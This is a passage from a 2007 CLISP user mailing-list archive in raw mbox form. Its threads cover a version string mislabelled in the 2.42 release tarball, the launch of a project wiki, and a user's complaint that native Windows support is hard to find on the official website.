2007 12:49:19 -0700 Received: from out1.smtp.messagingengine.com ([66.111.4.25]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Il8hf-0007RF-CG for clisp-list@lists.sourceforge.net; Thu, 25 Oct 2007 12:49:19 -0700 Received: from compute1.internal (compute1.internal [10.202.2.41]) by out1.messagingengine.com (Postfix) with ESMTP id AEE3F3BFE1; Thu, 25 Oct 2007 15:49:10 -0400 (EDT) Received: from heartbeat2.messagingengine.com ([10.202.2.161]) by compute1.internal (MEProxy); Thu, 25 Oct 2007 15:49:10 -0400 X-Sasl-enc: Gx2DBcLwJLPCd/fM/5i0NfhSEmJWm849qIpYOO4EtntU 1193341750 Received: from [192.168.1.53] (62.192-240-81.adsl-dyn.isp.belgacom.be [81.240.192.62]) by mail.messagingengine.com (Postfix) with ESMTP id 397FC1B05E; Thu, 25 Oct 2007 15:49:10 -0400 (EDT) Message-ID: <4720EECD.2050909@mailworks.org> Date: Thu, 25 Oct 2007 21:30:21 +0200 From: Peter Van Eynde Organization: None User-Agent: Thunderbird 2.0.0.6 (X11/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <472002CD.7010807@ig.com.br> <47209C7E.3040803@gnu.org> In-Reply-To: <47209C7E.3040803@gnu.org> X-Enigmail-Version: 0.95.4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: crabak@acm.org Subject: Re: [clisp-list] Current CLISP version as per official home site X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 25 Oct 2007 19:49:20 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Sam, Actually I was working on the 2.42 debian package. I downloaded http://ftp.gnu.org/pub/gnu/clisp/latest/clisp-2.42.tar.bz2 and: $ cat src/version.h /* generated by Makefile.devel from version.sh */ #define PACKAGE_NAME "GNU CLISP" #define PACKAGE_TARNAME "clisp" #define PACKAGE_VERSION "2.41.1 (2007-10-12)" #define PACKAGE_STRING "GNU CLISP 2.41.1 (2007-10-12)" #define PACKAGE_BUGREPORT "http://clisp.cons.org/" Is 2.41.1 the official internal code? Groetjes, Peter - -- signature -at- pvaneynd.mailworks.org http://www.livejournal.com/users/pvaneynd/ "God, root, what is difference?" Pitr | "God is more forgiving." Dave Aronson| -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHIO7K11ldN0tyliURAhzcAJ9NJvkdW0EvYrQNryhcFaper9r+JACgxQ2T 9+o5PqP9oaQrNcIh8xU7rUU= =X8Z5 -----END PGP SIGNATURE----- From sds@gnu.org Thu Oct 25 13:13:03 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Il94h-00075K-1p for clisp-list@lists.sourceforge.net; Thu, 25 Oct 2007 13:13:03 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Il94f-0002YN-75 for clisp-list@lists.sourceforge.net; Thu, 25 Oct 2007 13:13:02 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A8C60834; Thu, 25 Oct 2007 16:12:54 -0400 Message-ID: <4720F8C5.4010705@gnu.org> Date: Thu, 25 Oct 2007 16:12:53 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: Peter Van Eynde References: <472002CD.7010807@ig.com.br> <47209C7E.3040803@gnu.org> <4720EECD.2050909@mailworks.org> In-Reply-To: <4720EECD.2050909@mailworks.org> X-Enigmail-Version: 0.95.4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Current CLISP version as per official home site X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 25 Oct 2007 20:13:03 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi Peter, Peter Van Eynde wrote: > > Actually I was working on the 2.42 debian package. I downloaded > http://ftp.gnu.org/pub/gnu/clisp/latest/clisp-2.42.tar.bz2 and: > > $ cat src/version.h > /* generated by Makefile.devel from version.sh */ > #define PACKAGE_NAME "GNU CLISP" > #define PACKAGE_TARNAME "clisp" > #define PACKAGE_VERSION "2.41.1 (2007-10-12)" > #define PACKAGE_STRING "GNU CLISP 2.41.1 (2007-10-12)" > #define PACKAGE_BUGREPORT "http://clisp.cons.org/" > > Is 2.41.1 the official internal code? no, this is a stupid distribution bug. forgot to re-generated a configure script. could you fix that locally? (see version.sh) Thanks. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHIPjFPp1Qsf2qnMcRAhjUAJ9zcVsG8AdIBpSTzAxpBvzu4LPn9ACfZhzN THBOza0aPpEs/qkwdrSHhEw= =o9Zo -----END PGP SIGNATURE----- From grue@diku.dk Fri Oct 26 13:04:55 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IlVQN-0004OB-5p for clisp-list@lists.sourceforge.net; Fri, 26 Oct 2007 13:04:55 -0700 Received: from mgw2.diku.dk ([130.225.96.92]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IlVQL-0005ms-HH for clisp-list@lists.sourceforge.net; Fri, 26 Oct 2007 13:04:54 -0700 Received: from localhost (localhost [127.0.0.1]) by mgw2.diku.dk (Postfix) with ESMTP id 31B1D19BB8B for ; Fri, 26 Oct 2007 22:04:46 +0200 (CEST) Received: from mgw2.diku.dk ([127.0.0.1]) by localhost (mgw2.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03388-16 for ; Fri, 26 Oct 2007 22:04:44 +0200 (CEST) Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140]) by mgw2.diku.dk (Postfix) with ESMTP id ACB0F19BB88 for ; Fri, 26 Oct 2007 22:01:13 +0200 (CEST) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 6E9C26DFB46 for ; Fri, 26 Oct 2007 22:01:11 +0200 (CEST) Received: by tyr.diku.dk (Postfix, from userid 1018) id 90B7A5B8001; Fri, 26 Oct 2007 22:01:13 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id 8E2065C0001 for ; Fri, 26 Oct 2007 22:01:13 +0200 (CEST) Date: Fri, 26 Oct 2007 22:01:13 +0200 (CEST) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: amavisd-new at diku.dk X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Version 2.42 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 26 Oct 2007 20:04:55 -0000 Hi, I just installed clisp 2.42. Then got this: [grue@heimdal build-dir]$ clisp --version GNU CLISP 2.41.1 (2007-10-12) (built 3402416387) (memory 3402416546) Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath -Wl,/usr/local/lib -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/lib/clisp-2.41.1/ User language: ENGLISH Machine: I686 (I686) heimdal.yoa.dk [127.0.0.1] I ran clisp 2.39 before, so "GNU CLISP 2.41.1 (2007-10-12)" does not come from a previous installation. Did I get CLISP 2.42 despite the --version message? Cheers, Klaus From sds@gnu.org Fri Oct 26 13:14:37 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IlVZW-0005KN-6u for clisp-list@lists.sourceforge.net; Fri, 26 Oct 2007 13:14:27 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IlVZV-0001Rm-ER for clisp-list@lists.sourceforge.net; Fri, 26 Oct 2007 13:14:21 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AA9408A4; Fri, 26 Oct 2007 16:14:12 -0400 Message-ID: <47224A93.50707@gnu.org> Date: Fri, 26 Oct 2007 16:14:11 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: Klaus Ebbe Grue References: In-Reply-To: X-Enigmail-Version: 0.95.4 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Version 2.42 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 26 Oct 2007 20:14:37 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Klaus Ebbe Grue wrote: > Hi, > > I just installed clisp 2.42. Then got this: > > [grue@heimdal build-dir]$ clisp --version > GNU CLISP 2.41.1 (2007-10-12) (built 3402416387) (memory 3402416546) > Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8) > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations > -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a > libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath > -Wl,/usr/local/lib -lncurses -ldl -L/usr/local/lib -lsigsegv -lc > -L/usr/X11R6/lib > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.4 > libreadline 5.1 > Features: > (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL > COMMON-LISP > LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI > GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) > C Modules: (clisp i18n syscalls regexp readline) > Installation directory: /usr/local/lib/clisp-2.41.1/ > User language: ENGLISH > Machine: I686 (I686) heimdal.yoa.dk [127.0.0.1] > > I ran clisp 2.39 before, so "GNU CLISP 2.41.1 (2007-10-12)" does not come > from a previous installation. > > Did I get CLISP 2.42 despite the --version message? yes, you did. this is a distribution bug. too late to fix... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHIkqTPp1Qsf2qnMcRAjbmAJ0dEXHJsy94OWUU4WC2Dt3gJ/29+ACgrCEE 5csLX1yJQSCiD7vWjnr5e/Q= =rj8O -----END PGP SIGNATURE----- From sds@gnu.org Sun Oct 28 17:58:34 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ImIxd-0004nP-PO for clisp-list@lists.sourceforge.net; Sun, 28 Oct 2007 17:58:34 -0700 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ImIxb-0002VU-BJ for clisp-list@lists.sourceforge.net; Sun, 28 Oct 2007 17:58:33 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQN000MCEPCNFA0@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 28 Oct 2007 20:58:24 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id D016921DE4A; Sun, 28 Oct 2007 20:58:23 -0400 (EDT) Date: Sun, 28 Oct 2007 20:58:23 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp wiki X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 29 Oct 2007 00:58:34 -0000 I enabled clisp wiki at http://clisp.wiki.sourceforge.net/space.menu please contribute useful content. -- Sam Steingold (http://sds.podval.org/) on Fedora release 7 (Moonshine) http://openvotingconsortium.org http://camera.org http://memri.org http://mideasttruth.com http://iris.org.il http://jihadwatch.org History doesn't repeat itself, but historians do repeat each other. From elliottslaughter@gmail.com Mon Oct 29 17:25:28 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ImevA-0004Nd-CW for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 17:25:28 -0700 Received: from nz-out-0506.google.com ([64.233.162.228]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Imev8-0005zz-33 for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 17:25:28 -0700 Received: by nz-out-0506.google.com with SMTP id f1so4551788nzc for ; Mon, 29 Oct 2007 17:25:25 -0700 (PDT) Received: by 10.65.214.2 with SMTP id r2mr13993441qbq.1193703925043; Mon, 29 Oct 2007 17:25:25 -0700 (PDT) Received: by 10.65.126.2 with HTTP; Mon, 29 Oct 2007 17:25:25 -0700 (PDT) Message-ID: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com> Date: Mon, 29 Oct 2007 17:25:25 -0700 From: "Elliott Slaughter" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Native Windows Support as per Official Clisp Website X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 30 Oct 2007 00:25:28 -0000 I noticed that the only Windows support listed on http://clisp.cons.org/ is for Cygwin. Is there any reason for not acknowledging native Windows support for Clisp on the official site? (Other than that Microsoft is evil....) -- Elliott Slaughter "Any road followed precisely to its end leads precisely nowhere." - Frank Herbert From sds@gnu.org Mon Oct 29 19:40:13 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Imh1X-0000kR-Tj for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 19:40:13 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Imh1W-0002Xe-H9 for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 19:40:11 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQP00MSJE2R1OF0@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 22:40:03 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id DFD6821DE4A; Mon, 29 Oct 2007 22:40:02 -0400 (EDT) Date: Mon, 29 Oct 2007 22:40:02 -0400 From: Sam Steingold In-reply-to: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com> To: clisp-list@lists.sourceforge.net, Elliott Slaughter Mail-followup-to: clisp-list@lists.sourceforge.net, Elliott Slaughter Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Native Windows Support as per Official Clisp Website X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 30 Oct 2007 02:40:13 -0000 > * Elliott Slaughter [2007-10-29 17:25:25 -0700]: > > I noticed that the only Windows support listed on > http://clisp.cons.org/ is for Cygwin. Is there any reason for not > acknowledging native Windows support for Clisp on the official site? > (Other than that Microsoft is evil....) CLISP supports win32 OOTB and offers 2 pre-built binaries. just follow the link to "SourceForge downloads/HTTP" (Get CLISP --> Sources and binaries for various platforms) if you find the clisp web site hard to navigate, please feel free to design a better site using clisp wiki (announced in the previous message). -- Sam Steingold (http://sds.podval.org/) on Fedora release 7 (Moonshine) http://truepeace.org http://pmw.org.il http://israelunderattack.slide.com http://honestreporting.com http://memri.org http://camera.org It's not just a language, it's an adventure. Common Lisp. From elliottslaughter@gmail.com Mon Oct 29 22:45:07 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ImjuU-0001XG-KR for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 22:45:06 -0700 Received: from nf-out-0910.google.com ([64.233.182.184]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ImjuS-0005Ce-0A for clisp-list@lists.sourceforge.net; Mon, 29 Oct 2007 22:45:06 -0700 Received: by nf-out-0910.google.com with SMTP id 4so5013946nfv for ; Mon, 29 Oct 2007 22:45:02 -0700 (PDT) Received: by 10.78.185.15 with SMTP id i15mr4795962huf.1193723099834; Mon, 29 Oct 2007 22:44:59 -0700 (PDT) Received: by 10.78.135.16 with HTTP; Mon, 29 Oct 2007 22:44:59 -0700 (PDT) Message-ID: <42c0ab790710292244u1ac8f543r4dd538834c0df42e@mail.gmail.com> Date: Mon, 29 Oct 2007 22:44:59 -0700 From: "Elliott Slaughter" To: clisp-list@lists.sourceforge.net, "Elliott Slaughter" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Native Windows Support as per Official Clisp Website X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 30 Oct 2007 05:45:07 -0000 Yes, I am currently using Clisp's prebuilt binaries for Window. However, when I was first investigating various Lisps, I didn't realize that Clisp ran on Windows directly, because the only mention of Windows on the main Clisp page is for Cygwin. Yes, if you click on downloads you will get to a win32 binary. But it takes a little perseverance to find, and it may be turning away people new to lisp that would otherwise like to use Clisp. On 10/29/07, Sam Steingold wrote: > > * Elliott Slaughter [2007-10-29 17:25:25 -0700]: > > > > I noticed that the only Windows support listed on > > http://clisp.cons.org/ is for Cygwin. Is there any reason for not > > acknowledging native Windows support for Clisp on the official site? > > (Other than that Microsoft is evil....) > > CLISP supports win32 OOTB and offers 2 pre-built binaries. > just follow the link to "SourceForge downloads/HTTP" > (Get CLISP --> Sources and binaries for various platforms) > > if you find the clisp web site hard to navigate, please feel free to > design a better site using clisp wiki (announced in the previous message). > > -- > Sam Steingold (http://sds.podval.org/) on Fedora release 7 (Moonshine) > http://truepeace.org http://pmw.org.il http://israelunderattack.slide.com > http://honestreporting.com http://memri.org http://camera.org > It's not just a language, it's an adventure. Common Lisp. > -- Elliott Slaughter "Any road followed precisely to its end leads precisely nowhere." - Frank Herbert From sds@gnu.org Tue Oct 30 18:02:00 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1In1y4-0005MM-2s for clisp-list@lists.sourceforge.net; Tue, 30 Oct 2007 18:02:00 -0700 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1In1y1-0007bW-4J for clisp-list@lists.sourceforge.net; Tue, 30 Oct 2007 18:01:59 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JQR001LL473TR01@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 30 Oct 2007 21:01:51 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id D869321DE4A; Tue, 30 Oct 2007 21:01:50 -0400 (EDT) Date: Tue, 30 Oct 2007 21:01:50 -0400 From: Sam Steingold In-reply-to: <42c0ab790710292244u1ac8f543r4dd538834c0df42e@mail.gmail.com> To: clisp-list@lists.sourceforge.net, Elliott Slaughter Mail-followup-to: clisp-list@lists.sourceforge.net, Elliott Slaughter Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com> <42c0ab790710292244u1ac8f543r4dd538834c0df42e@mail.gmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Native Windows Support as per Official Clisp Website X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 31 Oct 2007 01:02:00 -0000 > * Elliott Slaughter [2007-10-29 22:44:59 -0700]: > > Yes, I am currently using Clisp's prebuilt binaries for Window. > However, when I was first investigating various Lisps, I didn't > realize that Clisp ran on Windows directly, because the only mention > of Windows on the main Clisp page is for Cygwin. Yes, if you click on > downloads you will get to a win32 binary. But it takes a little > perseverance to find, and it may be turning away people new to lisp > that would otherwise like to use Clisp. yes, all it takes is to click on "what is clisp" to see the list of supported platforms. -- Sam Steingold (http://sds.podval.org/) on Fedora release 7 (Moonshine) http://dhimmi.com http://thereligionofpeace.com http://mideasttruth.com http://honestreporting.com http://memri.org http://jihadwatch.org Please wait, MS Windows are preparing the blue screen of death. From D.Trudgett@aamhatch.com Tue Oct 30 18:26:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1In2LK-0007eY-6P for clisp-list@lists.sourceforge.net; Tue, 30 Oct 2007 18:26:02 -0700 Received: from mail.aamhatch.com.au ([203.27.144.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1In2LI-0000C3-3O for clisp-list@lists.sourceforge.net; Tue, 30 Oct 2007 18:26:01 -0700 Received: from wolmail.aamhatch.com.au (Not Verified[10.10.1.100]) by mail.aamhatch.com.au with NetIQ MailMarshal (v6, 0, 3, 8) id ; Wed, 31 Oct 2007 12:27:41 +1100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 31 Oct 2007 12:29:34 +1100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Message-ID: <74066E80282C2746A409BF1B2F7ACE6510D4E7@wolmail.aamhatch.com.au> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Native Windows Support as per Official ClispWebsite Thread-Index: AcgbWi3wCaVROSD9SXCzYb5/11coogAAZiog References: <42c0ab790710291725t7b7ac970wb7e19458ba06668@mail.gmail.com><42c0ab790710292244u1ac8f543r4dd538834c0df42e@mail.gmail.com> From: "Trudgett, David" To: , "Elliott Slaughter" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Native Windows Support as per Official ClispWebsite X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 31 Oct 2007 01:26:03 -0000 Hi Elliott, Thanks for the valuable feedback to the CLISP team[*]. Perhaps Windows will be explicitly added to the "Get CLISP" list some time in the future. The reason it was left off was no doubt the one you mentioned. Cheers, David Trudgett [*] I am but a simple user of CLISP, by the way. =20=20 =20 > -----Original Message----- > From: clisp-list-bounces@lists.sourceforge.net=20 > [mailto:clisp-list-bounces@lists.sourceforge.net] On Behalf=20 > Of Sam Steingold > Sent: Wednesday, 31 October 2007 12:02 > To: clisp-list@lists.sourceforge.net; Elliott Slaughter > Subject: Re: [clisp-list] Native Windows Support as per=20 > Official ClispWebsite >=20 > > * Elliott Slaughter =20 > [2007-10-29 22:44:59 -0700]: > > > > Yes, I am currently using Clisp's prebuilt binaries for Window. > > However, when I was first investigating various Lisps, I didn't=20 > > realize that Clisp ran on Windows 